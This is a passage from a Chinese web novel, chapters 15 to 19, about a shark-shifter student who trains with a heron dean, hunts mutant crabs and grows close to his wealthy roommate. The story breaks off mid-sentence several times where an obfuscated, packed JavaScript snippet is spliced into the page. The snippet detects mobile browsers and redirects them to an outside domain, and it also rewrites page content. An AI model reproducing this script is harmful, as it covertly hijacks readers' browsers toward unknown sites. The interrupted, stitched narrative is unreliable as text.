往常在异能中清晰的海域，这会儿被“他人”夺走了控制权。他的异能只能在外围游弋，勾勒出一个相当庞大的空白区域。 无疑，这是对方的异能控制范围。 “啧。”沙伍让自己的异能变成一条条“小鱼”，钻入对方异能的空隙中。 见识过了姜纶用异能构筑的空间后，眼前这个不明生物的空间算什么？威化饼干吗？ 异能化成的小鱼极其凶悍，在异能空隙中张口就咬，将对方的异能鲸吞蚕食。 原本躺在窝里的夜鹭脖子一点点伸长，看着沙伍变成大白鲨悄无声息地下水。 水面下的敌人已经显露出轮廓，那是一只巨大的螃蟹。 比起沙伍曾经一口差点咬断的变异梭子蟹，这只螃蟹要大得多。 变异螃蟹一层楼高，不算腿都有三层楼宽，身披满是疙疙瘩瘩的红色铠甲，看起来像是一辆重装武器。 相较而言，瘦弱的亚成体大白鲨瞧着就像是一条小鱼，随时能被螃蟹一钳子夹成两段。 只是和体型对比不相符合的是，大白鲨并没有在螃蟹面前暴露身形。 螃蟹暂时没有余裕寻找敌人的踪迹，正在跟看不见的敌人做斗争——它的异能正在被不断吞噬！ 变异螃蟹并没有思考的能力，但作为生物都有畏惧死亡的本能。 它挥舞钳子试图驱逐看不见的敌人，巨大的礁石被轻松敲碎，强烈的撞击让这些大大小小的碎石向四面八方射出去。 离得不算远的大白鲨下意识用异能抵挡，不出意外地暴露了自己的位置，但他并不慌张，等着变异螃蟹略微靠近一些再游开。 他的速度比变异螃蟹要快。 变异螃蟹在追击之下，啃噬它异能的进度并没有放缓，让它不确定是不是刚才的“东西”搞的鬼，动作有一瞬间的迟缓。 但是周围除了大白鲨之外，并没有第二个可疑生物。 它在略微停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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变异螃蟹没几下就彻底歇菜，被大白鲨拖拽着……咦？他教室在哪儿来着？ 刚才慌不择路，现在失去方向了。 他在周围转了一圈，也没发现双马尾鸬鹚什么的。 院长就这么放心他啊，真不担心他被螃蟹给咔嚓成几段。 小朋鲨不高兴了，操纵着水流从海面上升起一根水柱，变成人形站在水柱顶上喊：“院长！吃饭了！” 夜鹭从天而降，落到他头顶上：“你小子是真不知道自己的异能究竟是什么啊。” 沙伍抬手把夜鹭拿下来，恭敬地双手捧好：“我，一条大白鲨，异能除了水系还能是什么？你看我控水现在很熟练。” 倒也是，这操控水的天赋，几乎就是个水系异能者。 就因为这，夜鹭刚开始也被骗了：“我现在都怀疑你压根不是大白鲨。异能值藏得深，连异能都藏得深。” 沙伍听明白了：“我不是水系？” “你可以是水系，可以是净化系。”夜鹭认真看着他，“但你真正的异能应该是吞噬。” 16.第十六章 一个人包围一群 沙伍用异能重新构筑了一个水上教室，没有再固定在礁石上，主要是现在礁石区被打散架了，还有就是他之前练习净化的时候，丢下去了太多鱼酱，简直就是在打窝。 上一次引来一只变异螃蟹，下一次还不知道引来什么东西。 缺乏固定的水上教室，在沙伍的驱使下往内海的方向漂。 他盘腿坐在地上，徒手拆蟹。 夜鹭等着学生伺候：“我们说的什么水系异能、火系异能，只是异能的表现形式。人，只要健康活着，一定是五行平衡的，少一点多一点都不行。” “嗯。”就像他之前长智齿就很疼。 哦，不对，他那就不是智齿。 根据他现在学习到的异能知识，应该是他的异能处于即将觉醒状态，能量不足以完全觉醒，又不能再被完全压制的冲突阶段。 这个阶段几乎每个异能者都会经历，最常见的表现就是发热、头疼。 他把一条蟹腿的肉拆出来，除了表面一层浅浅的红色，内里是莹润的肉质，有点像果冻。 这么大的变异螃蟹，肉能好吃吗？ 夜鹭的脖子飞快伸缩，叨起蟹肉的一端，仰头嗦了进去。 沙伍明白了，好吃的，就是每次看院长吞比自己体型更大的食物，觉得有点吓人。 蟹壳太硬，还有些疙疙瘩瘩，他徒手不太好操作，想起之前和变异螃蟹打架的时候，用异能凝聚了一条大白鲨，对着蟹腿蟹钳的各种连接处就是一顿咔嚓。 夜鹭嗦完一条肉，看着沙伍的操作：“你倒是熟练。”见沙伍在掰蟹壳，就继续上课，“之所以会出现不同种类的异能，就跟人的性格一样，每个人的生活环境不一样，表现出来的认知和性格就不一样。就跟有些人喜欢花花草草，有些人喜欢机械装甲。” 沙伍终于把蟹壳给掰了下来，以为夜鹭说的熟练是指拆蟹，小声解释了一句：“祁叔教过我拆蟹。” 拆蟹是件麻烦事，想要精细一点，厨房机器人不能够完全胜任。 有一次他上课带回去好多螃蟹，就在厨房里一起拆蟹聊天。 夜鹭说的熟练是指他用吞噬异能，见他理解错误也不解释，继续说道：“异能值是你有多少钱，异能是你愿意把钱花在什么地方。为什么你会表现出水系和净化，这就相当于你虽然把大部分钱都花在了食物上，但也可以把钱花在衣服和交通上。这么解释你明白吗？” “明白。归根结底，我还是更喜欢吃的。”沙伍一心二用非常熟练，一边拆蟹一边听课，两不耽误。 只不过他现在还没怎么搞懂吞噬异能，能被他用异能“啃”的变异生物，到现在为止就遇到过一个姜纶一个变异螃蟹，用异能来玩水倒是越来越熟练。 一块一块的蟹肉被摆进巨大的蟹壳中，夜鹭没了讲课的兴致，开始埋头苦吃。 炫了好一会儿，他才想起来学生还没吃，停下嘴开始疑惑：“这只松叶蟹怎么落单了？” “会是一群吗？”沙伍好不容易处理完了一整只蟹，刚吃了一口就眼前一亮，“唔！这个好吃！院长我们打包几只带回去吧？” 夜鹭撇腿，摆出稍息的姿势：“一只你都打成这样了，还想打包几只？海鲜得现捞现吃，打包的不好吃。” 话是这么说，夜鹭还是让沙伍把水上教室更改方向：“往外海去，这东西生活的海域比较冷。明天的作业就是找到尽可能多的变异松叶蟹。” 沙伍吃货脑上头，还无师自通用异能制造水流，将水上教室改成大一号的大白鲨，潜入海中加快速度。 晚上沙伍睡着后，异能大白鲨还是保持着相当的巡航速度。 夜鹭轻轻叨了一下沙伍的头发：“现在的小孩子，睡觉都想着吃的。” 沙伍并没有察觉自己已经离开了大陆架，周围的海域中生活的生物越来越危险。 新手异能者的隐匿天赋，在很多强大的存在前不值一提。 它们有些是好奇，有些是过来捕猎，全都有来无回。 海域内其它生物都没有察觉，维持着平日里的生活。 在大白鲨教室内消失了一小会儿的夜鹭，又突然出现。 整只鹭脖子都粗了一圈，伸长了好一会儿，才慢慢缩回去：“果然还是冷水鱼好吃啊。” 没想到这个学生还能用来钓鱼。 一个晚上他就见到了以前不太好找的好几种鱼。 等下次他馋了……他的意思是小朋鲨天赋异禀，户外实践课他一定亲自上。 沙伍这一觉睡得又踏实又不踏实的，醒过来就坐着打哈欠：“院长，昨天晚上是不是遇到什么危险了？” 问题问出来，他才后知后觉这么干的危险性。 海洋生物有多危险，他这些天算是见到了冰山一角。 尽管他有隐匿天赋，加上大白鲨本身的生态位加成，但也不是没有敌人，更别说自然灾害。 他竟然在陌生海域，放心大胆地睡了过去，果然是仗着院长狐假虎威。 夜鹭瞥了他一眼，语气还算温和：“总算能意识到这一点。不过你以后要是在外海出任务，一般都是小组行动，很少会有单人的。你们相互之间可以安排好分工，问题不大。” 毕竟只是一个刚觉醒不到一个月的小朋鲨，院长不会要求太严苛。 沙伍有些狐疑地看着夜鹭。 院长是不是夸他了？ 不确定，再看看。 夜鹭同样看着他：“醒了就去做作业，愣着干嘛？” 哦，今天的作业是抓变异松叶蟹。 蟹肉生吃已经很好吃了，甜甜的带着一点糯。他都不敢想把螃蟹带回去，交给祁叔专业处理过后得多好吃。 大白鲨离开教室潜入海底，放出自己的异能小鲨鱼搜寻。 有夜鹭的保驾护航，真正会对沙伍产生威胁的生物不是被吃了，就是被隔离在外。 院长大人相当于是在外海给沙伍隔离出了一个安全的课堂。 有了昨天的经验，大白鲨很快就找到了变异螃蟹。 他先找了两只变异值比他低的热身，一只不用异能就被一尾巴拍死了；另一只动了一点吞噬异能，死得比第一只还快。 他就从弱到强，一只只开始收割。 过程中差点翻车，动静太大，被三只螃蟹同时围攻。 好在他的身形足够灵活，隐匿天赋也有成长，关键是他的吞噬异能，能够一下驱使数量极其庞大的异能小鲨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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靠近海岸线的两公里范围也没什么服装店。 异能现在只有一丁点的大白鲨纠结了一小会儿，刚想认命从水上绕路，就闻到一股熟悉的香味，下意识就发了一条信息给姜纶：“在墨城？” 姜纶没有回答。 沙伍也没等他回信息，顺着香味就游了过去，先瞅瞅姜纶在干什么，要是方便的话，直接找姜纶借一身衣服；要是不方便的话，那他还是自己游回去。 游着游着，他就觉得不对劲，怎么香味沉在海底呢？ 周围的海域看着特别空旷。 他看见几只游得慢的扇贝，直接搞了个水泡泡给圈起来。 他很快就看到了姜纶，并没有变成什么水系觉醒体，保持着人形在海底走来走去，头上戴着灯，手上拿着一个水桶，一个小耙子。 他凑过去看了看水桶，用鼻尖顶了顶他胳膊：“你干嘛呢？” 姜纶抬手就摸了摸大白鲨的脑袋：“赶海呢。” “赶到什么了？”不会赶海也是空军吧？ 姜纶灵活地骑到大白鲨背上，宣布：“赶到了一条小鲨鱼！” 大白鲨顿时一个翻滚把他甩下来一口咬住。 姜纶横躺在鲨鱼嘴巴里还不老实：“看，小鲨鱼上钩了！” 17.第十七章 单纯的室友关系 小鲨鱼把小少爷送上岸，然后就趴岸边不动。 姜纶下意识要去拉他手，伸了半天，手心还是空荡荡的，就再晃了晃：“搁浅呢？” 小鲨鱼用翅尖在浅滩扒拉扒拉沙子，把自己水兜兜里的扇贝送到他的塑料桶里，难得扭捏：“我衣服泡坏了，借我件衣服穿。” 姜纶直接就把自己的上衣脱了下来：“先穿这个。没事，这片是私人海滩。” 海岸边没什么灯火，沙伍快速变成人形，把姜纶的衬衫给披上了：“嘿，谢了兄弟。” 姜纶的眼睛在黑暗中发光，眨了一下才恢复正常，拉着他的手往前走：“梁伯伯说你下午上完课就被带走了，没来得及换作战服？” “唉，别提了。”沙伍把自己怎么被夜师傅绑架的经过简单说了一遍，把这几天的实战课跟姜纶说，脚步轻快。 姜纶听着他高高兴兴的语气，跟着弯了弯嘴角：“也就是你脾气好。” “还是第一次有人夸我脾气好。”沙伍觉得姜纶说话真好听，“可惜我回来抓了那么多螃蟹，都被院长带走了，连条腿都没给我留。下次不知道什么时候有机会抓。” 上课的时候忙着打架拆肉，根本来不及细想，这会儿空下来了，反应过来那片海域其实很危险，远不是他这种新手有能力涉足的。 “下次什么时候想去，我们自己出海去抓。”姜纶说道，“刚好我这次过来买了一艘船。” 钻石小少爷有多少钱，沙伍完全没概念；但对他这种买船跟买菜一样的语气，已经学会平常心看待。 两个人正聊着呢，前面已经出现一点灯光。 橙黄色的地灯不亮，照出一边的泳池边沿和另一边的草坪。 人走在上面，只能照出半截腿。 少年腿部肌肉线条流畅，灯光的极限停留在他盖住半截大腿的衬衫下摆。 “小少爷回来了。” 听到声音，姜纶愣了一下，才突然意识到自己竟然盯了沙伍的腿一路：“嗯。” 他这声回答无人响应。 熟悉的女佣看到沙伍一脸惊喜：“哎呀，小伍回来啦。是不是衣服坏了？赶紧回房洗澡，我去给你拿换洗衣服。晚餐吃了没？” “小风姐别忙，我自己来，给我指一下客房就行。”反正钻石小少爷的住处大到离谱，肯定不缺客房。 小风也不跟他客气：“那你就住二楼左转第一间。” “好。” 小风看着他上楼，就打开手环准备给他买衣服：“没想到小伍会从这儿上岸，早知道也给他准备几身换洗衣服了。” 姜纶阻止她的动作：“不用买了，现在送过来衣服也不方便，我拿身我的衣服给他。” 说着，他就把手上的塑料桶递过去，自己上楼了。 小风看看大半桶扇贝，再看看已经打开的购物界面，喃喃：“有什么不方便的？” 城区买几身衣服，让无人车送过来，也就是个把小时的事情。 姜纶的衣服，沙伍穿着又不合身。 厨房里，厨师探头：“小少爷回来了？” “对。”小风把水桶递过去。 厨师接过去一看，差点惊叫出声：“小少爷能抓到海货了？还以为小少爷只能薅点没腿的海草。” 小风解释：“肯定是小伍抓的，也不知道怎么从这儿上岸？跟着院长出海三天，回来跟个小野人似的。” “我先去做了，一会儿正好晚餐吃。我还没见过小伍呢。” “小伍那孩子特别可爱，跟小少爷一点都不一样。一会儿你见到就知道了。”小风想了想，还是下单了沙伍的衣服。 沙伍洗完澡，很快就出来，换上了放在外面的衣服，都不用上身就知道是姜纶的。 他低头扯了扯衬衫下摆，多余的长度都不好塞进裤子里，只能在腰上打了个结，正好扎住过于宽松的裤腰，出门看到趴在二楼栏杆上的姜纶就拉着他比划身高：“我这个月长高了三厘米呢，怎么差这么多？” 姜纶干脆把下巴杵在沙伍头顶：“你还差得远呢。” “你等着，我下个月就长十厘米！”沙伍雷霆小怒，被姜纶拦腰单手一抱，就双脚离地带下楼。 “不急，慢慢长。”姜纶直接把他抱到餐厅，放到椅子上。 这边的厨师头一回见识到这场面，都忘记介绍今天的菜品，确认不需要服务后就退出餐厅回到厨房。 看到在厨房餐桌边已经炫起了烤扇贝的女佣，厨师坐到她对面开始沉默。 小风不解：“小伍也不至于可爱到让人说不出话来吧？” “可不可爱的，我没注意。”厨师太过震惊，说话一卡一卡的，“小少爷和小伍真的是单纯的室友关系？” 他着重强调“单纯”两个字。 小风拿烤扇贝的动作放缓：“现在……还是单纯的……吧？” 室友之间，相互借衣服穿很正常对吧？ 厨师脑子里全是自己离开餐厅的时候，姜纶喂沙伍吃了一口肉的画面。 室友之间，会相互喂食？ 沙伍和姜纶都不觉得这动作有什么奇怪的。 沙伍平时连姜纶都啃，姜纶送过来的肉有什么不能吃的？ 姜纶的话心情就有点小复杂，反正看着沙伍就觉得开心，说不上是因为专属净化者的关系，还是别的什么原因。 看着沙伍体检报告上的数字，一天比一天好，他就觉得充满成就感，像养一只小流浪猫似的，又有点不一样。 吃过饭，沙伍站起来的时候，伸手提住裤腰，马上又坐回去：“我得买身衣服。” 姜纶扯了扯他裤腰：“腰这么细，有没有好好吃饭？” 沙伍赶紧捂腰：“别扯我裤子！” 姜纶的衣服他穿了本来就不合身，裤子更别说了。外裤还好，内裤更是一言难尽，乱扯神马！ “什么你的裤子？我扯我的裤子怎么了？”姜纶说得理直气壮，想着沙伍在沙滩上变回人形的样子，轻轻一拉又把人抱起来，“是不是受伤了？” “没……”沙伍下意识否认，才想起来自己后背上的伤可能还在，“哦，不小心被个大章鱼抽了一下。” 姜纶把他抱到房间里就脱衣服：“我看看。” 沙伍扒拉他手：“别乱摸，在后背上。” 姜纶站在沙伍背后，伸手去把衬衫打的结解开。 沙伍感觉这动作怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不知道。”姜纶站起来去开门，没看到小风，拿了两套新衣服回来，“应该是给你准备的衣服……怎么还有内裤？” 沙伍的脸突然爆红，倒头埋进枕头：“之前在宿舍的时候没多想，原来我的衣服尺寸小风姐都知道吗？我还以为全是梁伯伯准备的。” 姜纶的动作停顿了一下，才把衣服放在床尾凳上：“所以，你是害羞？” “唔。”沙伍闷闷地应了一声。 自己的贴身衣物被一位年龄相差不大的漂亮异性拿在手里，害羞不是很正常的事情吗？ 姜纶把他从枕头里拉起来，认真看着他：“以后你的东西，不让女佣沾手。” “啊？”沙伍不知道姜纶怎么会理解成这样。 姜纶已经说完了，直接躺到他身侧：“好了，睡吧。明天我们早点回去。” “你在墨城的事情办完了？” “嗯。” “不回自己的房间睡？” “懒得走。”姜纶把他拉进怀里抱好，“你都三天没咬我了。” 18.第十八章 关爱 姜纶说是一早回去，习惯早起的沙伍醒过来还是被拉着睡了个回笼觉，起来吃了个早午餐，才去了车站。 飞车几乎直接停在城际列车的车门口。 沙伍坐上专属车厢，才感慨：“原来还可以把车子直接开进站台？” 相较之下，专属车厢什么的，他倒是不意外。 非得要说的话，他以为按照小少爷的排场，应该是专属列车。 好吧，专属列车是有些夸张了。 “一直都可以的。”小风解释，“普通乘客也可以的。有特殊原因的直接申请，没有特殊原因的多交点钱。网站上都有的。” 沙伍是今年去青龙城读书，才第一次坐城际列车，闻言就在小风的指引下找到申请页面：“哦，在这儿。” 上面的特殊原因，一般指的是残障或者医疗方面的原因，造成乘客不方便走到站台的。 姜纶靠在沙伍的肩头跟着看。 他的出行都是有人安排好的，也是第一次知道这个事情：“像墨城这样的小站其实没什么，总共也没几步路，要是五大城这种大站，确实很有必要。” “青龙城的车站实在太大了。要不是有导航，我差点都走不出去。”沙伍想到第一次从青龙城车站下车的时候，看着跟个小城市大小的车站，整个人都无比茫然。 “等哪天带你去后土城的车站，比青龙城的更大。”姜纶有些懒洋洋的，拉着沙伍站起来，“走吧，陪我再躺一会儿。” “你都睡了那么长时间了，还睡得着？”话是这么说，沙伍还是站起来跟着姜纶走。 原本能够容纳几十名乘客的车厢，这会儿只有他们三个人，整个空间非常宽敞。 卧室里竟然还能摆出一张双人床。 沙伍实在睡不着，靠坐在床头：“你睡吧，我看会儿书。院长给我的书单还没看完。” 他现在的课程内容有一部分转为实践，理论知识的学习进度比以前慢了点。 一般异能者都是在小学阶段就觉醒了异能，开始进行专门的理论知识学习和异能的训练。 他想靠着暑假不到两个月时间，补齐十几年的差距，想都别想，只能尽可能趁着现在多学一点，希望到真正开学的时候，别什么都听不懂。 他现在又不需要打工赚钱，光是靠着实践课的收获，就能有不菲的收入，已经能够完全把注意力放在学习上了，不能辜负这么好的学习机会。 姜纶躺上床就一副困得睁不开眼睛的样子，刚躺下去还没一分钟就伸手环住沙伍的腰，把脑袋枕到他腿上。 沙伍看他歪趴着，抬手轻轻扯他头发：“你这么睡着不难受啊？” “唔。”姜纶不动。 他睡觉抱着自己的小鲨鱼怎么了？ 沙伍也由着他，打开手环开始看书。 过了一小会儿，列车发车。 他下意识看了眼窗外。 同属于青龙城下辖的卫星城，东湖城出发是一路平地，墨城出站就能够看到连绵的山。 山显然离得远，只能看到淡淡的浅墨色轮廓。 沙伍盯着山，看书的注意力都没这么集中了。 姜纶浅浅睡了一觉，醒来看到沙伍的学习进度：“你看书不专心。” 沙伍不搭理他，一脸兴奋：“原来墨城就有那么多山，哪天我们过来玩啊？” 姜纶不理解地往窗外看了一眼，这会儿已经快到青龙城，不怎么看得见山了：“哪里有山？” “过来的时候都是！” 姜纶不理解他的兴奋，撑着坐起来：“墨城那边的不就是点小坡？那都算是山的话，我们宿舍都有两个山头。” 沙伍瞬间哑然，半天才说道：“……你这么说，我实在是……”在他过去十八年的时间里，偶尔对未来生活的想象就是能有个小院子，现在宿舍就有两个山头什么的，“宿舍的山头感觉更像公园。” 姜纶“嗯”了一声，从床上坐起来去洗漱：“反正离得近，想什么时候去就去。” 沙伍听着就很高兴，跟着下床，看到自己身上衣服皱巴巴的，从放在外面起居室的行李箱里，拿出自己的衣服换好。 小风在外面敲门：“起来了吗？” 沙伍开门：“起来了。” “嗯。等会儿就可以下车了。”小风看了看沙伍刚换上的浅粉色的无袖帽衫配白色中裤，“我的眼光果然不错。小伍穿这身很可爱！” 沙伍有名义上的姐姐，但双方见面次数不到十次，每次见面都只是打声招呼。 被小风这样的姐姐关爱，他感觉又高兴又害羞：“谢谢小风姐，我还没穿过这种衣服。忘了问多少钱？我转给你。” 小风爽朗地笑：“不用。我这儿有宿舍的家用，没花自己的钱。” 姜纶洗漱完出来，就看到沙伍低着头微红的侧脸，眼睛眯了眯，长手一伸勾着他脖子把人拉进怀里：“快到站了？” 小风一看他表情，马上就说道：“我收拾一下行李。” 沙伍从姜纶的怀里抬头：“你在不高兴？起床气？”刚才不是还好好的？ 姜纶低头对上他的眼睛：“看得出来？” 沙伍在自己脸上比划了一下：“你脸都拉长成这样了，还能看不出来？平时不都笑嘻嘻的？” 别说，还真别说。 小少爷板着一张脸的样子，瞧着生人勿进的，还真有点吓人。 姜纶挑眉，声音中透着一股子刚睡醒的慵懒：“也就对着你的时候笑嘻嘻的。” 沙伍压根不信，等列车一停，就一手拉着行李箱，一手拉着姜纶往外面走。 姜纶缀在后面，脚步慢腾腾的：“把我当行李箱拖呢？”说着，他就把行李箱拿到自己手上。 沙伍不跟他争，总共就一个小箱子，故意扭头看他：“我倒要看看还能怎么拖。” 专属车厢再大也就是一节车厢。 两人说话间已经下了车。 飞车就等在了车厢门口。那么点行李也不需要搬运用的机械臂辅助，姜纶直接就放好了。 小风没上车，对他们摆摆手：“你们先回去吧。” 沙伍被姜纶拉上车，关上车门后问：“小风姐还有事啊？” 姜纶瞥他一眼：“你很关心小风？” “嘿。”沙伍有些不好意思地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226568|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑笑，心不在焉地看着飞车进入特殊通道，并没有走他原先走过的路线，用脑门撞了一下他的肩膀，“我就是觉得，要是我有小风姐这样的姐姐就好了。” 姜纶开始呲牙，酸溜溜：“哦，姐~姐~” 沙伍没察觉到他的阴阳怪气，沉浸在自己小男生的害羞中：“梁伯伯他们都好好~要是我有爸爸的话，是不是就像梁伯伯一样？祁叔要是我亲叔叔就好了，还有薛哥……” 姜纶听他把宿舍里的人挨个点了个名，刚开始还有些心疼又有些感动，但一长串名字听完，唯独漏掉了自己，就很不高兴，提醒他：“是不是漏了人？” “哎~有吗？”沙伍故意，就是不说姜纶。 姜纶勾着他脖子想要把他摁住，想到他后背的伤，改了个方向。 沙伍刚长到175的小身板，对他来说跟只小猫差不多，一个转向就跨坐在他腿上。 “认真想想。” 沙伍嘻嘻哈哈推他凑过来的脑袋：“想不出来。” 宿舍门口，梁管家他们看到两个人一起下车，你拉我一下我撞你一下的黏糊劲，已经习惯了。 “小伍，院长让你回来去医院做体检。下午跟着老师上理论课，晚上你自己安排。” 沙伍正扑在姜纶背上，被姜纶扣着手腕：“今天晚上没课？” 他转着手腕从姜纶手里挣脱，查看课程信息，也不进门了，脚步一转就往外走：“那我先去医院。” 姜纶下意识跟了一步，才重新转回屋内。 梁管家问：“这么不放心小伍？” “他是我的小鲨鱼嘛。”姜纶理所当然。 梁管家听不出他话里有没有别的意味，只能小声汇报：“让你上次失控的药剂是后土学院的一个高级实验室里制造的。” 姜纶的脸冷了下来：“哪个？” “瑞云实验室。” 姜纶沉默了一会儿：“我知道了。”说完，他就像个没事人一样，直接去工具房里拿上农具，招呼了一声，“我去菜地了。” 他没有坐飞车，直接走路过去，刚走了没两分钟，手环通讯就响起：“妈。” 屏幕对面的女子五官明艳，是典型的青龙城大美人长相，只是发丝和眼睛流转着绿色的荧光：“小纶。实验室的事情我这边还在继续追查，现在可以初步确定是有人对药剂做了一些改动，让净化药剂产生了反作用。至于是实验室里的人动的手，还是运输过程中出的问题还不确定。能够这么精确的动手，实验室里肯定有问题。” “我知道。”他自己的身体情况摆在这儿，从小到大都离不开净化药剂，还得是针对性的净化药剂。 为此，他的母亲招兵买马，成立了专门的实验室。 实验室的管理非常严格。 出了这样的事情，只能说有非常亲近信任的人发生了背叛。 那天晚上，他要是没遇到他的小鲨鱼，这会儿怕是已经完全污染。 他看着自己母亲难掩疲惫的神色，柔和了表情宽慰：“妈，放心。我现在已经找到了。你和爸爸、姐姐可以不用那么辛苦了。” 他找到了他的小鲨鱼。 19.第十九章 异能值释放10% 难以自控的庞大异能值，随时随地都在产生污染。 想要与之对抗，姜纶从小就承受了异常巨大的精神压力。 哪怕是身为母亲，姚瑞云也很少看到他这样放松的表情：“你和那孩子相处不错？” 提起沙伍，姜纶整个人的精神都放松了，眉眼含笑：“嗯。” 姚瑞云看到他这表情就知道比自己预想中的还要好：“什么时候方便，我们过来见见他。” 姜纶有一种领地被侵犯的抗拒，下意识拒绝：“不用。他刚觉醒，趁着暑假忙着补课。他对我们家那边很感兴趣，改天我带他回家。” 姚瑞云听他这么说，没强求：“好。” 母子俩又简单聊了几句家常才结束通讯。 没一会儿，姜纶就收到了一笔母亲打过来的汇款，没有特意标注。 他的嘴唇往下一撇，嘀咕：“我自己的小鲨鱼，自己会养。” 他又不差这点钱和资源。 不对，他现在有的都是父母和姐姐给的。 他得用自己的钱来养小鲨鱼！ 沙伍半点不知道他的想法，不然他可能会更加用心在赚钱上。 从他开始卖“海货”，才知道哪怕是青龙学院，想要获得海洋中的一些变异材料都不容易。 像他第一次在海中随手捞的鱼，卖了五百。 那还是距离学校不远的海湾，算起来是学校的内海。 美味的变异螃蟹的价格更高。 像他这次跟着夜鹭出海抓回来的那些变异螃蟹，收购价格一只得好几万，甚至肉和壳能分开卖。 不过考虑到变异螃蟹生活的区域，以及变异螃蟹的体型，再加上运输难度，确实值这个价。 夜鹭把卖螃蟹壳的钱给了沙伍：“肉我吃了，这些是卖壳的钱。” 沙伍压根没想到还能收到钱：“院长，把钱给我？” “你抓的螃蟹，不给你给谁？”夜鹭歪头梳理了一下羽毛，莫名其妙地看了他一眼，“走吧，给你重新制定了上课内容。” 他刚准备把沙伍抓了带走，突然想到一个事情，飞进了屋里。 “姜纶呢？” 小小的夜鹭在宽阔的别墅里飞行，几乎没有任何阻碍。 他很快就逮到了姜纶，撵着姜纶和沙伍去换作战服，再一爪子一个把他们带出门。 沙伍操纵异能，给自己和姜纶制造了一个泡泡，挡风的同时，也能够保障呼吸。 他在手环的光屏上打字：院长飞得越来越狂野了，风吹得都没法喘气。 为了节省异能，泡泡很小。 姜纶紧挨着沙伍，看得笑个不停。 沙伍发现夜鹭对他们看了一眼，立刻关掉光屏，琢磨起改良泡泡，想法子整个光学隐身什么的。 只不过作为一条鱼，他对怎么在空中伪装缺了一根筋，一直到达目的地，他还没折腾出点名堂来。 “到了。”姜纶提醒他。 “嗯？”沙伍往下面一看，能够远远看到一点葫芦嘴，“院长飞好快。” 这才不到半小时。 “呵。”夜鹭一声冷笑，异能通过爪子输入泡泡，原本还算牢固的泡泡瞬间破裂。 沙伍都没反应过来，整个人就直线下落。 夜鹭听着学生晚了三秒的尖叫声，在空中盘旋了一圈，俯冲下去。 一股庞大的水系异能出现，大海的上空突然出现一条水滑梯，接住姜纶和沙伍。 沙伍的叫声很快变得兴奋起来，冲进水里的小鲨鱼还跳起来往水滑梯上扑：“再玩一遍！” 姜纶还担心他被吓到呢，见他这幅样子顿时有点哭笑不得：“不害怕啊？” “刚开始有一点。”沙伍觉得自己对从高空坠落完全没有任何应对措施，这样不行，得想点招。 俯冲而下的双马尾白头鹰落到海面上，跟随着海浪起伏：“今天的作业，姜纶保持持续一个小时的异能值10%释放状态。沙伍随时给他净化。”说完，夜鹭打量了一下姜纶，“你最近开始练习异能释放了吧？” 姜纶露出一个苦笑：“真是什么都瞒不过您。” 小鲨鱼用三角背鳍在海面上画圈圈：“怎么精准控制释放异能值的百分比？仪器都测不出我们的具体异能值是多少。” 夜鹭对沙伍的耐心比较足：“别人不知道你的钱包里有多少钱，你自己是知道的。” 这么一说，小鲨鱼就明白了。 夜鹭看着小鲨鱼一副跃跃欲试的样子，劝阻：“你不着急练习这个。异能值的释放是在不断的使用中，一点一点锻炼出来的。你现在的学习任务是熟悉自己的异能。” 就像小宝宝得先熟悉自己的四肢和各种器官，然后才能慢慢学着站起来走路，学着开口说话，以及更进阶的各种生活技能。 “好的。”小鲨鱼乖乖听话，好奇地看着姜纶。 姜纶也不知道自己释放异能值干什么，就塑造刚才那道水滑梯的异能值，周围海域里能跑的已经都快跑没影了。 他看了看没一会儿就远远游走，又像小海豚一样跳起来的小鲨鱼，突然在小鲨鱼面前造了一个水环。 跳来跳去本来就很开心了，能够跳环更开心！ 一个水环跳完，面前还有更多的高高低低、各种角度、大大小小的水环！ 漂浮着的夜鹭瞧着像一只事不关己的路鸟，实则精神状态紧绷。 按照保守一点的进度，他应该先把小鲨鱼这个净化者训练到相当程度，才能够开始训练姜纶。 可也不知道是哪个神经病，没事想搞一把姜纶，小少爷现在的异能越来越难压制；甚至因为常年的抑制，一旦释放的话，反弹会更加强烈。 就是，让你释放异能值，没让你用异能来给小鲨鱼造水上乐园！ 跳环、顶球什么的，把小鲨鱼当小海狮吗？ 小鲨鱼的自我认知本来就已经不太对了，还敢再往歪里带！ 夜鹭的白色马尾一点点竖起来，看着小鲨鱼嘎嘎嘎地顶起一个水球，跟着跃入一个真·海洋球池子，再顺着水下管道一路七拐八弯地滑到半空中，又被一个海盗船来回抛，笑声都快冲破天际了。 飞到空中大概十来米的小鲨鱼给自己搞了个泡泡作为缓冲，又一遍一遍试泡泡能够承受的冲击力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 